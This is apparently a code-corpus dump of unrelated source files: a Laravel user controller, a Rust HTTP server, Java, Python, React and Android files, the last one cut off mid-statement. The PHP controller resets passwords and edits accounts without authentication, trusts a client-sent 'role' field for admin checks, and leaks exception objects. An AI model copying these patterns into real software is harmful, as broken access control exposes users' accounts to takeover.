<?php namespace App\Http\Controllers; use App\Models\Agent; use App\Models\Supervisor; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use App\Mail\RegisterationMail; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Str; use App\Models\User; use App\Models\UserProfile; use App\Models\BlockedUser; use JWTAuth; use JWTAuthException; use Carbon\Carbon; use DB; use \stdClass; class UserController extends Controller { /** * Register the user. * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ private function getToken($email, $password) { $token = null; try { if (!$token = JWTAuth::attempt( [ 'email' => $email, 'password' => $password ])) { return response()->json([ 'response' => 'error', 'message' => 'Password or email is invalid', 'token' => $token ]); } } catch (JWTAuthException $e) { return response()->json([ 'response' => 'error', 'message' => 'Token creation failed', ]); } return $token; } public function updatePassword(Request $request) { $user = User::where('id', $request->user_id)->first(); $user->password = Hash::make($request->password); $user->save(); return response()->json([ 'status' => 201, 'success'=> true, 'message' => "password successfully updated" ]); } public function updateUserInfo(Request $request) { $user = User::where('id', $request->userId)->first(); $user->first_name = $request->firstName; $user->last_name = $request->lastName; $user->email = $request->email; $user->password = Hash::make($request->password); $user->save(); return response()->json([ 'status' => 201, 'success' => true, 'message' => "user info successfully updated" ]); } public function registerUser(Request $request) { // Validate all the required parameters have been sent. $validator = Validator::make($request->all(), [ 'firstName' => 'required|string|max:255', 'lastName' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', 'password' => 'required|string|min:6', 'role' => 'required|string', ]); if ($validator->fails()) { return response()->json([ 'success' => false, 'message' => 'Invalid input', ]); } try { $error = ''; $is_user_exist = User::where('email', $request->email)->first(); if($is_user_exist) { $error = 'User already exist!'; } else { $user = new User(); $user->first_name = $request->firstName; $user->last_name = $request->lastName; $user->email = $request->email; $user->password = Hash::make($request->password); $user->role = $request->role; if ($user->save()) { $token = Str::random('130'); // $token = self::getToken($request->email, $request->password); // generate user token $user->auth_token = $token; // update user token $user->update(); if ($user->role == 'call_center_agent') { $agent = new Agent(); $user->agent()->save($agent); } else if ($user->role == 'call_agent_supervisor') { $supervisor = new Supervisor(); $user->supervisor()->save($supervisor); } return response()->json([ 'status' => 201, 'success' => true, 'access_token' => $token, 'data' => [ 'firstName' => $user->first_name, 'lastName' => $user->last_name, 'email' => $user->email, 'role' => $user->role ] ]); } else { $error = 'Something went wrong!Please try again'; } } return response()->json([ 'success' => false, 'error' => $error ])->setStatusCode(400); } catch (Exception $e) { throw $e; } } /** * Login user. * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function login(Request $request) { $user = User::where('email', $request->email)->where('deleted_at', null)->first(); if ($user && Hash::check($request->password, $user->password)) { if(is_null($user->email_verified_by)) { return response()->json([ 'success' => false, 'error' => 'User Account not approved!' ])->setStatusCode(400); } else { $is_block_user = $user->block; if(is_null($is_block_user) || !$is_block_user->block_status) { $token = Str::random('130'); // $token = self::getToken($request->email, $request->password); $user->auth_token = $token; $user->save(); return response()->json([ 'success' => true, 'auth_token' => $token, 'user' => [ 'id' => $user->id, 'firstName' => $user->first_name, 'lastName' => $user->last_name, 'email' => $user->email, 'role' => $user->role ] ])->setStatusCode(200); } else { return response()->json([ 'success' => false, 'error' => 'You are blocked by the admin.' ])->setStatusCode(400); } } } else { return response()->json([ 'success' => false, 'error' => 'Invalid Login Credentials' ])->setStatusCode(400); } } public function getPendingAccounts(Request $request) { $pageNumber = $request->pageNumber ? $request->pageNumber : 0; $pageLimit = $request->pageLimit ? $request->pageLimit : 10; $pendingAccounts = User::select('first_name', 'last_name', 'email', 'role') ->where('email_verified_at', null) ->where('role', '!=', 'admin') ->where('deleted_at', null) ->skip($pageNumber) ->take($pageLimit) ->get(); return response()->json([ 'success' => true, 'pending_records' => $pendingAccounts ])->setStatusCode(200); } public function updateAccountStatus(Request $request) { // Validate all the required parameters have been sent. $validator = Validator::make($request->all(), [ 'status' => 'required', 'email' => 'required|string|max:255', 'verifiedBy' => 'required' ]); if ($validator->fails()) { return response()->json([ 'success' => false, 'data' => 'Invalid Inputs!' ])->setStatusCode(400); } try { $user = User::where('email', $request->email)->first(); $name = $user->first_name . " " . $user->last_name; if ($request->status) { $user->email_verified_by = $request->verifiedBy; $user->email_verified_at = Carbon::now(); $user->update(); $response = 'User Account Approved successfully!'; } else { $user->delete(); $response = 'User Account Rejected successfully!'; } Mail::to("asalheen1997@gmail.com")->queue(new RegisterationMail($request->status, $name)); return response()->json([ 'success' => true, 'data' => $response ])->setStatusCode(200); } catch(Exception $e) { return response()->json([ 'status' => '500', 'success' => false, 'data' => $e ])->setStatusCode(500); } } public function getAllUsers(Request $request) { if ($request->role !== 'admin') { return response()->json([ 'success' => false, 'data' => 'You do not have permission' ])->setStatusCode(403); } // $pageNumber = $request->pageNumber ? $request->pageNumber : 1; // $pageLimit = $request->pageLimit ? $request->pageLimit : 10; // $offset = ($pageNumber-1) * $pageLimit; $users = User::where('deleted_at', null) ->where('email_verified_at', '!=', null) ->where('role', '!=', 'admin') ->get(); $response = []; foreach($users as $key => $user){ $res = new StdClass; $res->userProfile = new StdClass; $blockedUser = $user->block; $res->id = $user->id; $res->firstName = $user->first_name; $res->lastName = $user->last_name; $res->email = $user->email; $res->role = $user->role; $res->blockStatus =! empty($blockedUser) && $blockedUser->block_status == 1 ? true : false; $res->blockReason =! empty($blockedUser) && $blockedUser->block_reason ? $blockedUser->block_reason : ''; $userProfile = UserProfile::where('user_id', '=', $user->id)->first(); if (!is_null($userProfile)) { $res->userProfile->gender = $userProfile->gender; $res->userProfile->mobile = $userProfile->mobile; $res->userProfile->profileImage = $userProfile->profile_image; $res->userProfile->address = $userProfile->address; $res->userProfile->state = $userProfile->state; $res->userProfile->country = $userProfile->country; } else { $res->userProfile = null; } array_push($response, $res); } return response()->json([ 'success' => true, 'data' => $response ])->setStatusCode(200); } public function deactivateUser(Request $request) { if ($request->role !== 'admin') { return response()->json([ 'success' => false, 'data' => 'You do not have permission' ])->setStatusCode(403); } $deactivated_user = User::where('email', $request->email); if (is_null($deactivated_user)) { return response()->json([ 'success' => false, 'data' => 'User does not exist!' ])->setStatusCode(400); } else{ $deactivated_user->delete(); return response()->json([ 'success' => true, 'data' => 'User Deactivated successfully' ])->setStatusCode(200); } } public function updateBlockStatus(Request $request) { if ($request->role !== 'admin') { return response()->json([ 'success' => false, 'data' => 'You do not have permission' ])->setStatusCode(403); } $validator = Validator::make($request->all(), [ 'blockStatus' => 'required|boolean', 'blockReason' => 'string|max:255', 'email' => 'required|email' ]); if ($validator->fails()) { return response()->json([ 'success' => false, 'data' => 'Invalid Inputs!' ])->setStatusCode(400); } try{ $user = User::where('email', $request->email)->first(); if (is_null($user)) { return response()->json([ 'success' => false, 'error' => 'Invalid User' ])->setStatusCode(400); } $block_user = $user->block; if (is_null($block_user)) { $block_user = new BlockedUser; $block_user->user_id = $user->id; $block_user->block_status = $request->blockStatus; $block_user->block_reason = $request->blockReason; $block_user->save(); } else { $block_user->block_status = $request->blockStatus; $block_user->block_reason = $request->blockReason; $block_user->update(); } $user->auth_token = null; $user->update(); return response()->json([ 'success' => true, 'data' => 'User Block Status changed successfully!' ])->setStatusCode(201); } catch (Exception $e) { return response()->json([ 'success' => false, 'error' => $e ])->setStatusCode(500); } } public function registerUserByAdmin(Request $request) { if ($request->createBy !== 'admin') { return response()->json([ 'success' => false, 'data' => 'You do not have permission' ])->setStatusCode(403); } // Validate all the required parameters have been sent. $validator = Validator::make($request->all(), [ 'firstName' => 'required|string|max:255', 'lastName' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', 'password' => 'required|string|min:6', 'role' => 'required|string', ]); if ($validator->fails()) { return response()->json([ 'success' => false, 'message' => 'Invalid input', ]); } try { $error = ''; $is_user_exist = User::where('email', $request->email)->first(); if ($is_user_exist) { $error = 'User already exist!'; } else { $user = new User(); $user->first_name = $request->firstName; $user->last_name = $request->lastName; $user->email = $request->email; $user->password = Hash::make($request->password); $user->role = $request->role; if ($user->save()) { $token = Str::random('130'); $user->auth_token = $token; // update user token $user->update(); if ($user->role == 'call_center_agent') { if ($request->supervisor && $request->supervisor != -1) { $agent = new Agent(['supervisor_id' => $request->supervisor]); } else { $agent = new Agent(); } $user->agent()->save($agent); } else if ($user->role == 'call_agent_supervisor') { $supervisor = new Supervisor(); $user->supervisor()->save($supervisor); } return response()->json([ 'status' => 201, 'success' => true, 'access_token' => $token, 'data' => [ 'firstName' => $user->first_name, 'lastName' => $user->last_name, 'email' => $user->email, 'role' => $user->role ] ]); } else { $error = 'Something went wrong!Please try again'; } } return response()->json([ 'success' => false, 'error' => $error ])->setStatusCode(400); } catch (Exception $e) { return $this->responseServerError('Error creating user profile.'); } } public function searchUser(Request $request) { try { $search_query = $request->searchQuery; $result = []; if ($search_query && strlen($search_query) > 2) { $users = DB::table('users') ->where('first_name', 'like', $search_query . '%') ->orWhere('email', 'like', $search_query . '%') ->get(); } else { $users = User::all(); } if (count($users) > 0) { foreach ($users as $index => $user) { if (!$user->deleted_at && $user->role !== 'admin' && $user->email_verified_at) { $response = new StdClass; $blockedUser = BlockedUser::where('user_id', $user->id)->first(); $response->firstName = $user->first_name; $response->lastName = $user->last_name; $response->email = $user->email; $response->role = $user->role; $response->blockStatus = $blockedUser && $blockedUser->block_status == 1 ? true : false; $response->blockReason = $blockedUser && $blockedUser->block_reason ? $blockedUser->block_reason : ''; array_push($result, $response); } } } return response()->json([ 'success' => true, 'users' => $result ])->setStatusCode(200); } catch (Exception $e) { return response()->json([ 'success' => false, 'users' => [], 'error' => 'Something went wrong!' ])->setStatusCode(500); } } }
Rust
UTF-8
4,140
3.0625
3
[ "MIT" ]
permissive
//! A tiny HTTP/1.1 server framework. //! //! # Examples //! //! ``` //! use std::io::{Read, Write}; //! use std::net::TcpStream; //! use std::thread; //! use std::time::Duration; //! use bytecodec::bytes::Utf8Encoder; //! use bytecodec::null::NullDecoder; //! use fibers::{Executor, Spawn, InPlaceExecutor}; //! use fibers_http_server::{HandleRequest, Reply, Req, Res, ServerBuilder, Status}; //! use futures::future::{ok, Future}; //! use httpcodec::{BodyDecoder, BodyEncoder}; //! //! // Request handler //! struct Hello; //! impl HandleRequest for Hello { //! const METHOD: &'static str = "GET"; //! const PATH: &'static str = "/hello"; //! //! type ReqBody = (); //! type ResBody = String; //! type Decoder = BodyDecoder<NullDecoder>; //! type Encoder = BodyEncoder<Utf8Encoder>; //! type Reply = Reply<Self::ResBody>; //! //! fn handle_request(&self, _req: Req<Self::ReqBody>) -> Self::Reply { //! Box::new(ok(Res::new(Status::Ok, "hello".to_owned()))) //! } //! } //! //! let addr = "127.0.0.1:14758".parse().unwrap(); //! //! // HTTP server //! thread::spawn(move || { //! let executor = InPlaceExecutor::new().unwrap(); //! let mut builder = ServerBuilder::new(addr); //! builder.add_handler(Hello).unwrap(); //! let server = builder.finish(executor.handle()); //! executor.spawn(server.map_err(|e| panic!("{}", e))); //! executor.run().unwrap() //! }); //! thread::sleep(Duration::from_millis(100)); //! //! // HTTP client //! let mut client = TcpStream::connect(addr).unwrap(); //! client //! .write_all(b"GET /hello HTTP/1.1\r\nContent-Length: 0\r\n\r\n") //! .unwrap(); //! thread::sleep(Duration::from_millis(100)); //! //! let mut buf = [0; 1024]; //! let size = client.read(&mut buf).unwrap(); //! assert_eq!( //! &buf[..size], //! b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello".as_ref() //! ); //! ``` #![warn(missing_docs)] #[macro_use] extern crate slog; #[macro_use] extern crate trackable; pub use error::{Error, ErrorKind}; pub use handler::{HandleRequest, HandlerOptions, Reply}; pub use request::Req; pub use response::Res; pub use server::{Server, ServerBuilder}; pub use status::Status; pub mod metrics; mod connection; mod dispatcher; mod error; mod handler; mod header; mod request; mod response; mod server; mod status; /// This crate specific `Result` type. pub type Result<T> = std::result::Result<T, Error>; #[cfg(test)] mod test { use bytecodec::bytes::Utf8Encoder; use bytecodec::null::NullDecoder; use futures::future::ok; use httpcodec::{BodyDecoder, BodyEncoder}; use std::io::{Read, Write}; use std::net::TcpStream; use std::thread; use std::time::Duration; use super::*; struct Hello; impl HandleRequest for Hello { const METHOD: &'static str = "GET"; const PATH: &'static str = "/hello"; type ReqBody = (); type ResBody = String; type Decoder = BodyDecoder<NullDecoder>; type Encoder = BodyEncoder<Utf8Encoder>; type Reply = Reply<Self::ResBody>; fn handle_request(&self, _req: Req<Self::ReqBody>) -> Self::Reply { Box::new(ok(Res::new(Status::Ok, "hello".to_owned()))) } } #[test] fn it_works() { let mut builder = ServerBuilder::new(([127, 0, 0, 1], 0).into()); builder.add_handler(Hello).unwrap(); let server = builder.finish(fibers_global::handle()); let (server, addr) = fibers_global::execute(server.local_addr()).unwrap(); thread::spawn(move || { fibers_global::execute(server).unwrap(); }); thread::sleep(Duration::from_millis(100)); let mut client = TcpStream::connect(addr).unwrap(); client .write_all(b"GET /hello HTTP/1.1\r\nContent-Length: 0\r\n\r\n") .unwrap(); thread::sleep(Duration::from_millis(100)); let mut buf = [0; 1024]; let size = client.read(&mut buf).unwrap(); assert_eq!( &buf[..size], b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello".as_ref() ); } }
Java
UTF-8
1,196
2.34375
2
[ "MIT" ]
permissive
package com.binance.api.client.domain.market; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import com.fasterxml.jackson.databind.annotation.JsonDeserialize; import com.fasterxml.jackson.databind.annotation.JsonSerialize; import xyz.tsst.billions.cryptocurrency.CYYOrder; /** * An order book entry consisting of price and quantity. */ @JsonDeserialize(using = OrderBookEntryDeserializer.class) @JsonSerialize(using = OrderBookEntrySerializer.class) @JsonIgnoreProperties(ignoreUnknown = true) public class BinanceOrder extends CYYOrder { @Override public String toString() { // return new ToStringBuilder( this, BinanceApiConstants.TO_STRING_BUILDER_STYLE ).append( "millis", // getTimestamp() ) // .append( "type", (getDirectionId() == ID_DIRECTION_AKS_SELLING) ? "ask/sell" : "bid/buy" ).append( // "price", getPrice() ) // .append( "quantity", getAmount() ).toString(); return "BinanceOrder [currencyPair=" + (getCurrencyPair() != null ? getCurrencyPair().getCode() : "null") + ", orderNumber=" + getExchangeOrderId() + ", fee rate=" + getPercentFee() + (getIdDirection() == 0 ? ", sell " : ", buy ") + getAmount() + " @ " + getPrice() + "]"; } }
Java
UTF-8
841
2.421875
2
[]
no_license
package com.naxanria.nom.tile; import net.minecraft.entity.player.PlayerEntity; import net.minecraft.nbt.CompoundNBT; import net.minecraft.tileentity.ITickableTileEntity; import net.minecraft.tileentity.TileEntityType; public abstract class BaseTileEntityTicking extends BaseTileEntity implements ITickableTileEntity { private int ticks = 0; public BaseTileEntityTicking(TileEntityType<?> type) { super(type); } @Override public final void tick() { ticks++; tileUpdate(); } protected abstract void tileUpdate(); @Override public CompoundNBT write(CompoundNBT compound) { compound.putInt("ticks", ticks); return super.write(compound); } @Override public void read(CompoundNBT compound) { ticks = compound.getInt("ticks"); super.read(compound); } }
Python
UTF-8
779
2.53125
3
[]
no_license
#!/usr/bin/python import argparse import os import subprocess import ConfigParser # parse the arguments parser = argparse.ArgumentParser(description="create a bootable disk image for beaglebone black") parser.add_argument('--input', required=True) parser.add_argument('--config', required=True) parser.add_argument('--output', required=True) parser.add_argument('--partition', required=True) args = parser.parse_args() # parse the config file config = ConfigParser.RawConfigParser() config.read(args.config) # extract config params start = config.getint(args.partition, 'start') end = config.getint(args.partition, 'end') # call dd to do the extraction subprocess.call(['dd', "if=" + args.input, "of=" + args.output, "skip=" + str(start), "count=" + str(end - start + 1)])
Java
UTF-8
17,617
1.921875
2
[]
no_license
package com.pyzzalab.ddmsoundboard; import android.content.Intent; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.View; import android.view.Menu; import android.view.MenuItem; import android.media.MediaPlayer; import android.support.design.widget.TabLayout; import android.support.v4.view.ViewPager; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.google.android.gms.ads.MobileAds; public class MainActivity extends AppCompatActivity { private AdView mAdView; private MediaPlayer[] players; public MainActivity () { Global G = new Global(); G.audioActive = false; } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); /* Codice per gestire il font della toolbar TextView customTitle = (TextView) toolbar.findViewById(R.id.toolbar_title); Typeface metal_font = Typeface.createFromAsset(getApplication().getAssets(), "metal_font.ttf"); customTitle.setTypeface(metal_font); */ setSupportActionBar(toolbar); getSupportActionBar().setTitle("Dio del Metal Soundboard"); TabLayout tabLayout = (TabLayout) findViewById(R.id.tab_layout); tabLayout.addTab(tabLayout.newTab().setText("Brutal")); tabLayout.addTab(tabLayout.newTab().setText("Classic")); tabLayout.addTab(tabLayout.newTab().setText("Locke")); tabLayout.getTabAt(0).setIcon(R.drawable.ic_brutal_hat_white); tabLayout.getTabAt(1).setIcon(R.drawable.ic_classic_white); tabLayout.getTabAt(2).setIcon(R.drawable.ic_locke_white); tabLayout.setTabGravity(TabLayout.GRAVITY_FILL); //Inizializzazione istanza AdMob MobileAds.initialize(this, "ca-app-pub-8764329147278404~3364005765"); mAdView = (AdView)findViewById(R.id.adView); AdRequest adRequest = new AdRequest.Builder().build(); mAdView.loadAd(adRequest); MediaPlayer mpSoundtrack = MediaPlayer.create(this, R.raw.soundtrack); mpSoundtrack.setVolume(0.07f,0.07f); mpSoundtrack.setLooping(true); mpSoundtrack.start(); final ViewPager viewPager = (ViewPager) findViewById(R.id.pager); final PagerAdapter adapter = new PagerAdapter (getSupportFragmentManager(), tabLayout.getTabCount()); viewPager.setAdapter(adapter); viewPager.addOnPageChangeListener(new TabLayout.TabLayoutOnPageChangeListener(tabLayout)); tabLayout.setOnTabSelectedListener(new TabLayout.OnTabSelectedListener() { @Override public void onTabSelected(TabLayout.Tab tab) { viewPager.setCurrentItem(tab.getPosition()); } @Override public void onTabUnselected(TabLayout.Tab tab) { } @Override public void onTabReselected(TabLayout.Tab tab) { } }); } public void clickHandler(View v){ int id = v.getId(); MediaPlayer mp = MediaPlayer.create(this, R.raw.bmandiamoavanti); if (!Global.G.audioActive) { Global.G.audioActive = true; switch (id){ ///// BRUTAL MARIO AUDIO case R.id.button1: mp = MediaPlayer.create(this, R.raw.bmandiamoavanti); break; case R.id.button2: mp = MediaPlayer.create(this, R.raw.bmbrutalmario); break; case R.id.button3: mp = MediaPlayer.create(this, R.raw.bmcapopalestra); break; case R.id.button4: mp = MediaPlayer.create(this, R.raw.bmcazzitua); break; case R.id.button5: mp = MediaPlayer.create(this, R.raw.bmgrandebm); break; case R.id.button6: mp = MediaPlayer.create(this, R.raw.bmhairottoilcazzo); break; case R.id.button7: mp = MediaPlayer.create(this, R.raw.bmkiller); break; case R.id.button8: mp = MediaPlayer.create(this, R.raw.bmperfavore); break; case R.id.button9: mp = MediaPlayer.create(this, R.raw.bmpotenza); break; ///// CLASSIC AUDIO case R.id.button10: mp = MediaPlayer.create(this, R.raw.bmsopravvissuto); break; case R.id.button11: mp = MediaPlayer.create(this, R.raw.camicisatana); break; case R.id.button12: mp = MediaPlayer.create(this, R.raw.cburied); break; case R.id.button13: mp = MediaPlayer.create(this, R.raw.cfroci); break; case R.id.button14: mp = MediaPlayer.create(this, R.raw.cfuoridaicoglioni); break; case R.id.button15: mp = MediaPlayer.create(this, R.raw.cglitch); break; case R.id.button16: mp = MediaPlayer.create(this, R.raw.cglitchpokemon); break; case R.id.button17: mp = MediaPlayer.create(this, R.raw.cguardiaioto); break; case R.id.button18: mp = MediaPlayer.create(this, R.raw.cinfernale); break; case R.id.button19: mp = MediaPlayer.create(this, R.raw.crazzista); break; case R.id.button20: mp = MediaPlayer.create(this, R.raw.cshiny); break; //////////// LOCKE AUDIO case R.id.button21: mp = MediaPlayer.create(this, R.raw.lancora); break; case R.id.button22: mp = MediaPlayer.create(this, R.raw.ledificio); break; case R.id.button23: mp = MediaPlayer.create(this, R.raw.lesult); break; case R.id.button24: mp = MediaPlayer.create(this, R.raw.lfateschifo); break; case R.id.button25: mp = MediaPlayer.create(this, R.raw.lfuori); break; case R.id.button26: mp = MediaPlayer.create(this, R.raw.lmacheschifo); break; case R.id.button27: mp = MediaPlayer.create(this, R.raw.lpietrafocaia); break; case R.id.button28: mp = MediaPlayer.create(this, R.raw.lsatana); break; case R.id.button29: mp = MediaPlayer.create(this, R.raw.lvermi); break; case R.id.button30: mp = MediaPlayer.create(this, R.raw.lzozo); break; /* * * * * * * case R.id.button11: mp = MediaPlayer.create(this, R.raw.rick_sewer); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button12: mp = MediaPlayer.create(this, R.raw.rick_shlum); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button13: mp = MediaPlayer.create(this, R.raw.morty_die); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button14: mp = MediaPlayer.create(this, R.raw.morty_pants); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button15: mp = MediaPlayer.create(this, R.raw.morty_together); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button16: mp = MediaPlayer.create(this, R.raw.meeseeks_cando); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button17: mp = MediaPlayer.create(this, R.raw.meeseeks_lookatme); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button19: mp = MediaPlayer.create(this, R.raw.meeseeks_alldie); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button20: mp = MediaPlayer.create(this, R.raw.meeseeks_die); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button21: mp = MediaPlayer.create(this, R.raw.meeseeks_failures); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button22: mp = MediaPlayer.create(this, R.raw.meeseeks_killhim); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button23: mp = MediaPlayer.create(this, R.raw.meeseeks_oooo); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button24: mp = MediaPlayer.create(this, R.raw.meeseeks_shortgame); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button25: mp = MediaPlayer.create(this, R.raw.meeseeks_pain); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button26: mp = MediaPlayer.create(this, R.raw.terry_aww); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button27: mp = MediaPlayer.create(this, R.raw.terry_late); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button28: mp = MediaPlayer.create(this, R.raw.terry_pants); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button29: mp = MediaPlayer.create(this, R.raw.terry_grades); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button30: mp = MediaPlayer.create(this, R.raw.terry_halfs); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button31: mp = MediaPlayer.create(this, R.raw.terry_run); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button32: mp = MediaPlayer.create(this, R.raw.terry_sex); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; case R.id.button33: mp = MediaPlayer.create(this, R.raw.terry_nightmare); mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); } }); break; * * */ } mp.start(); mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.release(); Global.G.audioActive = false; } }); } } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { super.onContextItemSelected(item); switch (item.getItemId()){ case R.id.pleaseRead: Intent i = new Intent(this, PleaseRead.class); startActivity(i); return true; default: return false; } } }
JavaScript
UTF-8
3,986
2.59375
3
[]
no_license
import React,{useState,useEffect} from "react"; import 'bootstrap/dist/css/bootstrap.min.css' import './stylesheet.css' import { useParams } from "react-router-dom"; import firebase from "firebase"; const UserDetails = ({props}) => { // const {id:id} =useParams() console.log('users', props) const [data,setData] = useState({}) const db = firebase.firestore(); const {id:uid} = useParams(); console.log('users',data); const [name,setName] = useState(' ') // const [surname,setSurname] = useState(' ') const [age,setAge] = useState(' ') const [location,setLocation] = useState(' ') const[des,setDes] = useState(' ') // const db =firebase.firestore() const getName = (e) =>{ e.preventDefault() setName(e.target.value) } const getAge = (e) =>{ e.preventDefault() setAge(e.target.value) } const getLocation = (e) =>{ e.preventDefault() setLocation(e.target.value) } const getDes = (e) =>{ e.preventDefault() setDes(e.target.value) } useEffect(()=>{ let userInformation=[]; db.collection('lists').doc(uid).get() .then((res)=>{setData({...res.data(),id:res.id})}) .catch((err)=>{console.log(err)}) .finally(()=>{console.log('completed')}) },[]) const updateUser = (e) => { let uid = e.target.id db.collection('lists').doc(uid).update({ name: name, age: age, location: location, des: des }) .then(() => { console.log('Update Complete') }) .catch((err) => { console.log(err) }) } const createUsers = (e) => { e.preventDefault(); db.collection('lists').add({ name: name, age: age, des: des, location: location }) .then((res) => { console.log('user added') }) .catch((err) => { console.log(err) }) } // dis is de page i dd ye ne ker e bontxha all the users on de same page instead of taking only one user //so this page ae sa bereka // yah ke e ntxhitxe go link to and linked the Add page instead const deleteuser = (e) => { let uid = e.target.id if(window.confirm("Are You Sure You Want To Delete?")){ db.collection('lists').doc(uid).delete() .then(() => { console.log('user deleted') }) } } // console.log('id',currentID) return ( <> <div className="newOutput"> <form onSubmit={updateUser}> <fieldset> <div className="form-group"> <label >Name</label> <input type="text"name="text" value={props.name}></input> </div> <div className="form-group"> <label>Age</label> <input type="text" name="text" className="form-control" value={props.age} /> </div> <div className="form-group"> <label >Location</label> <input type="text" className="form-control" name="location" value={props.location} /> </div> <div className="form-group"> <label for="disabledTextInput">Description</label> <input type="text" className="form-control" name="des" value={props.des} /> </div> <button className='btn btn-danger me-2' onClick={deleteuser}>Delete User</button> <button className='btn btn-warning'type="submit">Update User</button> </fieldset> </form> </div> </> ) } export default UserDetails;
Java
UTF-8
7,876
2.15625
2
[]
no_license
package com.example.android.instaline; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.bumptech.glide.Glide; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.database.ChildEventListener; import com.google.firebase.database.DataSnapshot; import com.google.firebase.database.DatabaseError; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.database.ValueEventListener; import com.google.firebase.storage.FirebaseStorage; import com.google.firebase.storage.StorageReference; import com.squareup.picasso.Picasso; import java.util.Iterator; import java.util.Map; public class ExploreContentActivity extends AppCompatActivity { private Button lineUpBtn; private StorageReference storageReference; private DatabaseReference databaseReference; private FirebaseAuth firebaseAuth; private String restID; private TextView resName; private TextView resCategory; private TextView resPrice; private TextView resWaitTime; private TextView resQueueNumber; private ImageView coverImage; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_explore_content); // Get view components resName = findViewById(R.id.res_name); resCategory = findViewById(R.id.res_category); resPrice = findViewById(R.id.res_price); resWaitTime = findViewById(R.id.res_waitTime); resQueueNumber = findViewById(R.id.res_queueNumber); coverImage = findViewById(R.id.res_coverImage); // Get database firebaseAuth = FirebaseAuth.getInstance(); storageReference = FirebaseStorage.getInstance().getReference(); databaseReference = FirebaseDatabase.getInstance().getReference(); //=================================== //=== Retrieve data from FIREBASE === //=================================== // Get current page restaurant id Bundle extras = getIntent().getExtras(); if(extras != null){ restID = extras.getString("id"); } final DatabaseReference restRef = databaseReference.child("Restaurant").child(restID); restRef.addValueEventListener(new 